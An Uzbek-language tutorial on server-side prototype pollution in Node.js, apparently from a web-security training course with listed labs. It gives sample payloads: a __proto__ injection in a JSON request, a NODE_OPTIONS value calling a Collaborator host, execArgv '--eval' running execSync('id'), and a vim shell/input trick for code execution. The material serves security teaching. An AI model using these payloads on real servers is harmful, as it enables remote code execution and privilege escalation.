Server-side prototype pollution

Node.js kabi server-side runtime'larning paydo bo'lishi bilan JavaScript endi serverlar va API'larni qurishda keng ishlatiladi. Mantiqan, bu prototype pollution zaifliklari server-side kontekstlarda ham yuzaga kelishi mumkinligini anglatadi. Asosiy tushunchalar bir xil bo'lsa-da, uni aniqlash va ekspluatatsiya qilish qo'shimcha qiyinchiliklarni keltirib chiqaradi.

Nega server-side aniqlash qiyinroq?

• Manba kodga kirish yo'q — zaif JavaScriptni ko'ra olmaysiz, shuning uchun sink va gadjetlarni ko'rish qiyin.
• Developer vositalari yo'q — kod masofaviy tizimda ishlagani uchun obyektlarni runtime'da inspeksiya qila olmaysiz.
• DoS muammosi — server muhitida haqiqiy xususiyatlar bilan ifloslash ko'pincha ilovani buzadi yoki serverni butunlay to'xtatadi.
• Ifloslanish barqarorligi — server prototipini ifloslaganingizdan so'ng, bu o'zgarish butun Node jarayoni davomida saqlanadi va uni tiklashning yo'li yo'q.

Aks etgan xususiyat orqali aniqlash

Oson tuzoq: JavaScriptdagi for...in sikli obyektning prototip zanjiri orqali meros qilib olgan xususiyatlarini ham aylanadi. JSON ma'lumot yuboradigan POST/PUT so'rovlari bu xatti-harakat uchun asosiy nomzodlar, chunki serverlar ko'pincha yangilangan obyektning JSON ko'rinishi bilan javob beradi:

POST /user/update HTTP/1.1
Host: vulnerable-website.com

{
    "user":"wiener",
    "firstName":"Peter",
    "__proto__":{
        "foo":"bar"
    }
}

Agar sayt zaif bo'lsa, kiritilgan foo xususiyati javobdagi yangilangan obyektda paydo bo'ladi. Foydalanuvchi ma'lumotlarini yangilaydigan har qanday funksiya tekshirishga arziydi — o'z foydalanuvchingizga ixtiyoriy xususiyat qo'sha olsangiz, bu imtiyoz oshirishga (privilege escalation) olib kelishi mumkin.

Lab

amaliyotchiServer-side prototype pollution orqali imtiyoz oshirish

Bajarilmagan

Aks etmagan holatda aniqlash

Ko'pincha prototipni muvaffaqiyatli ifloslasangiz ham, xususiyat javobda aks etmaydi. Bunda serverning konfiguratsiya sozlamalariga mos xususiyatlarni kiritib, oldingi va keyingi xatti-harakatni solishtirasiz. Uch texnika:

• Status code override — Express xatolik javobida status xususiyatini o'qiydi. Uni obscure kod (400-599 oralig'ida) bilan ifloslab, xatolik javobidagi status kod o'zgarganini tekshiring.
• JSON spaces override — Express json spaces opsiyasini ifloslab, JSON javobdagi otstup (indentation) o'zgarishini kuzating. Bu juda xavfsiz — sozlamani standart qiymatga qaytarib "o'chirish" mumkin.
• Charset override — content-type xususiyatini charset=utf-7 bilan ifloslab, javobda UTF-7 kodlangan satr dekodlanishini tekshiring.

Lab

amaliyotchiAks etgan xususiyatsiz server-side prototype pollutionni aniqlash

Bajarilmagan

Kirish filtrlarini chetlab o'tish

Saytlar ko'pincha __proto__ kabi kalitlarni filtrlaydi. Buni chetlab o'tish mumkin: taqiqlangan kalitlarni obfuskatsiya qilish, yoki __proto__ o'rniga constructor orqali prototipga kirish. Node --disable-proto=delete bayrog'i bilan __proto__ ni o'chirsa ham, constructor texnikasi ishlaydi.

Lab

amaliyotchiServer-side prototype pollution uchun nuqsonli kirish filtrlarini chetlab o'tish

Bajarilmagan

Masofaviy kod ijrosi (RCE)

Server-side prototype pollution RCE'ga olib kelishi mumkin. Buyruq ijro sinklari ko'pincha child_process modulida joylashgan. Yangi Node jarayoni yaratilganda Burp Collaborator bilan aloqa qo'zg'atadigan payload orqali zaif so'rovni aniqlash mumkin:

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com"
}

child_process.fork() execArgv opsiyasini qabul qiladi — u buyruq qatori argumentlari massivi. Agar developerlar uni aniqlamagan bo'lsa, uni prototype pollution orqali nazorat qilish mumkin. --eval argumenti ixtiyoriy JavaScriptni bajarishga imkon beradi:

"execArgv": [
    "--eval=require('child_process').execSync('id')"
]

Lab

amaliyotchiServer-side prototype pollution orqali masofaviy kod ijrosi

Bajarilmagan

execSync() metodini ham shell va input xususiyatlarini bir vaqtda ifloslab ekspluatatsiya qilish mumkin. Vim yoki ex kabi matn muharrirlari stdin orqali buyruqlarni qabul qilib RCE vektori bo'la oladi:

"shell":"vim",
"input":":! id\n"

Lab

mutahassisServer-side prototype pollution orqali maxfiy ma'lumotni eksfiltratsiya qilish

Bajarilmagan